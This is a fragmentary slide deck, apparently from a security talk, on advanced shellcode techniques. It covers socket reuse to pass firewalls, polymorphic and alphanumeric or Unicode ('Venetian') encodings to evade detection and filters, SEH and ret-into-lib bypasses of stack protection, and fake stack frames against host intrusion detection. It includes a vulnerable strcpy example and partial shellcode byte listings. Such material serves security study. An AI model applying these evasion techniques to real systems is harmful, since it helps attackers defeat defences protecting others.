




# Advanced shellcode Technique

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
[plan9@jump.net.cn](mailto:plan9@jump.net.cn)



- Going through Firewall
- Evading NIDS
- Avoiding Application filter
- Defeating stack protect mechanism
- Evading HIDS




- Hijacking the execution flow of vulnerable process ...
- ...to owned buffer
  - Arbitrary syscalls execution with the privileges and the execution context of the hijacked process
    - Most time spawns a shell,so called “shellcode”
  - Execution manual constructed function



- Stack overflow


```
void fun(char *arg2, long arg1){  
    char buffer[128];  
    strcpy(buffer, arg2); /* w/o bounds check */  
    return 0;}
```

- X86 stack frame





- If arg=BBB...BAAAA=136 bytes
  - After execution strcpy()
- X86 stack frame




- Inject vector à Warhead
  - Bug that exploited can hijacking execution flow
    - external : environment variables/global parameter,file, fields of protocol ,socket...any input feeds the buffer!
    - internal: Stack Overflow,Heap overflow,Integer overflow,Unsigned/signed,Format string,Calculate error
- Payload à Missile
  - Actual assembly instructions that do expected stuff
    - Shell,virus,wrom,rootkit and anything you can think!

- Very common attack vector
  - external :CERT Advisory,BUGTRAP
  - internal :un-security coding,man's error
- Very effective attacks
  - Run attacker's code of choice
- But many stuff set gap to success
  - Firewall,NIDS,HIDS,OS




- Targets system police is unknown and strict
  - Can't write to file, call demanded API...
- But we can exploring process belonging
  - fd, socket, data in memory, privilege, preloaded api...
- We need "small shell"
  - set up channel
  - Upload file and execution command
  - Prepare for further attack





- Connection contrack ,NAT
  - bind socket can't work
- If we behind nat stuff
  - Reverse connection can't wrok
- Our method
  - Find socket, reuse it!





- String greper
  - Can't include quasi“/bin/bash”
- Nop sled inspect, instruction emulation
  - Too many cpu cycles
- Our method :polymorphic shellcode





- Strcpy() forbid NULL
  - Shellcode can't include NULL
  - Can't use instruction included NULL
  - RET can't include NULL
- alphanumeric&UNICODED
- Buffer Size restriction
- Our method:multi-stage&transform proof shellcode

## Shellcode attack path:stack protect

- BoWall
  - Inspect strcpy()
    - Need trickly set EIP
- Windows 2003
  - Stack cookie
    - Need trickly set EIP
- OverflowGuard
  - No-exec stack/heap
- Our method:SEH&ret-into-lib

- Application HIDS
  - ACL,honeytoken,system log
    - Can't optional access file,can't produce exception...
- Kernel HIDS
  - Windows token , Entercept
    - Can't optional call API
    - Normal shellcode attack can't work
- Our method: exploring process belonging: eg.preloaded API





- n Firewall: find socket and reuse it.
  - n Find accept() return value


```
00401171 LEA EAX,DWORD PTR SS:[EBP-4]
00401174 PUSH EAX ;pAddrLen
00401175 LEA EAX,DWORD PTR SS:[EBP-DC]
0040117B PUSH EAX ; pSockAddr
0040117C PUSH DWORD PTR SS:[EBP-29C] ; Socket
00401182 CALL <JMP.&WS2_32.#1> ; accept
00401187 MOV DWORD PTR SS:[EBP-298],EAX ;[EBP-298]=0x0012FD04
0040118D CMR DWORD PTR SS:[EBP-298],0
00401194 JGE SHORT server2.004011A9
00401196 PUSH server2.004090C0 ; ASCII "Error on accept!"
0040119B CALL server2.00402E9E
```



- Firewall:Find socket and reuseit!
  - Find accept() return value
    - EBP changed: Fix relative distance from top of frame

```
0x89,0xE5, MOV EBP,ESP
0x66,0x81,0xEC,0xF0,0x03 SUB SP,3F0
0x31,0xC0, XOR EAX,EAX
0x50, PUSH EAX ;flags
0x6A,0x7F, PUSH 7F ;size
0x8D,0x44,0x24,0x08, LEA EAX,SS:[ESP+8] ;buffer
0x50, PUSH EAX
0x8D,0x45,0x20, LEA EAX, SS:[EBP+20] ;sock
0xFF,0x30, PUSH DWORD PTR DS:[EAX]
0xB8,0xFF,0xEC,0x30,0x40, MOV EAX,4030ECFF
0xC1,0xE8,0x08, SHR EAX,8
0xFF,0xD0, CALL EAX
```

- NIDS: Polymorphism shellcode



- NIDS: polymorphic shellcode
  - Nop sled
    - Don't do harm and nop quasi instruction
    - Nop,inc eax...
  - decoder
    - multiple code paths
    - Push aaaa,pop eax=xor eax,eax,xor eax aaaa=mov eax 0,add eax aaaa=...
  - Real code :xored



- APP Filter: alphanumeric&Unicode proof shellcode
  - For who you don't know: alphanumeric
    - X86 instruction format  
[ opcode ] [ Mode R/M byte ] [ <SIB> ] [ <disp8>/<disp32> ]
    - All field of instruction only be [0-9],[A-Z],[a-z]
    - `inc ebx /* 0x43 = C */`



# Shellcode implement(con.)

- n APP Filter: alphanumeric&Unicode proof shellcode

- n For who you don't know:UNICODE

- n UNICODED

AABBCCXX=00AA00BB00CC00XX (XX<=0x7f)

- n Instruction can use

One byte instruction :inc eax /\* 0x40 \*/

two byte instruction :add [esi],ch /\*0x002E\*/

three byte instruction :add byte ptr [ebp] ,ch /\*0x006d00\*/

five byte instruction :add eax ,4C007500h /\*0x050075004C \*/

n APP Filter: alphanumeric&Unicode proof shellcode

n For who you don't know:UNICODE

n Venetian[1] shellcode

n Named by [chris@nextgenss.com](mailto:chris@nextgenss.com)

```
40          :inc eax
```

```
00 6D 00 :add byte ptr [ebp],ch
```

```
40          :inc eax
```

```
00 6D 00 :add byte ptr [ebp],ch
```

```
80 00 75 :add byte ptr [eax],75h
```

```
00 6D 00 :add byte ptr [ebp],ch
```

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n APP Filter: alphanumeric&Unicode proof shellcode

n For who you don't know:UNICODE

n Venetian[1] shellcode





- APP Filter: alphanumeric&Unicode proof shellcode
  - For who you don't know:UNICODE
    - Venetian[1] problem
      - Buffer Size restrictions
        - » 14 byte get two byte shellcode
      - W/O consider alphanumeric



- APP Filter: alphanumeric&Unicode proof shellcode
  - For who you don't know:UNICODE
    - Venetian[2] shellcode



alphanumeric&unicode  
Venetian[2]

alphanumeric  
Loop patcher

Real shellcode

- APP Filter: alphanumeric&Unicode proof shellcode
  - For who you don't know:UNICODE
    - Venetian[2] shellcode


```

41          :inc ecx          /*A*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
41          :inc ecx          /*A*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
51          :push ecx         /*Q*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
50          :pop eax          /*P*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
68 00 75 00 68 :push 68007500h /*huh*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
5A          :pop edx          /*Z*/
00 6D 00    :add byte ptr [ebp],ch /*m*/
41          :inc ecx          /*A*/
00 70 00    : add byte [eax],dh      /*p*/


```




- APP Filter: alphanumeric&Unicode proof shellcode
  - For who you don't know:UNICODE
    - Venetian[2] shellcode





- Stack protect:SEH&ret-into-lib
  - For who you don't know:BoWall
    - Strcpy() inspect : SEH



Saved Ret =  $[EBP + 4]$



- Stack protect:SEH&ret-into-lib
  - For who you don't know:windows 2003
    - Stack cookie: SEH





- Stack protect:SEH&ret-into-lib
  - For who you don't know:windows 2003
    - SEH
      - Clear most important register to zero
        - » call ebx,jump eax can't work...
      - load configuration has a copy of Exception handler
        - » optional set Exception handler can't work
        - » Can exploring registered Exception handler
      - Exception handler out of module address can work
      - Exception handler can't point to stack,but heap ok
        - » Set Exception handler point to heap

- Stack protect: SEH & ret-into-lib
  - For who you don't know: OverflowGuard
    - Non-exec stack/heap: ret-into-lib

Hook IDT(0X0e)

Page Fault


Verify EIP .vs fault address

Overflow

Data access


Write/get instruction in read-only page

- Stack protect:Win2003&BoWall w/o non-exec






- Stack protect:Win2003&BoWall w/ non-exec




# Shellcode implement(con.)

- n Stack protect:Win2003&BoWall w/ non-exec



- HIDS:fake frame&IAT& Calculate RET
  - For who you don't know: Entercept
    - Hooked API: fake frame






- HIDS:fake frame&IAT& Calculate RET
  - For who you don't know: Entercept
    - Hooked API: fake frame

## Stack backtrace


```
while (is_valid_frame_pointer( ebp )) {  
    ret_addr = get_ret_addr( ebp )  
    if (check_code_page(ret_addr) == BUFFER_OVERFLOW)  
        return BUFFER_OVERFLOW;  
    if (does_not_follow_call_or_jump_opcode(ret_addr))  
        return BUFFER_OVERFLOW;  
    ebp = get_next_frame( ebp ); }  
ret verify:  
    read-only  
    memory mapped  
    following jmp/call
```

- HIDS:fake frame&IAT& Calculate RET
  - For who you don't know: Entercept
    - Hooked API: fake frame




# Shellcode implement(con.)

- n HIDS:fake frame&IAT& Calculate RET
  - n For who you don't know: IAT
    - n Analyze IAT







- n HIDS:fake frame&IAT& Calculate RET
  - n For who you don't know: Calculate RET
    - n Analyze IAT



- n HIDS:fake frame&IAT& Calculate RET
  - n For who you don't know: Calculate RET
    - n Analyze IAT



- Implement some discussed technique
- vulnerable server & exploits







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Thank You

Question ?

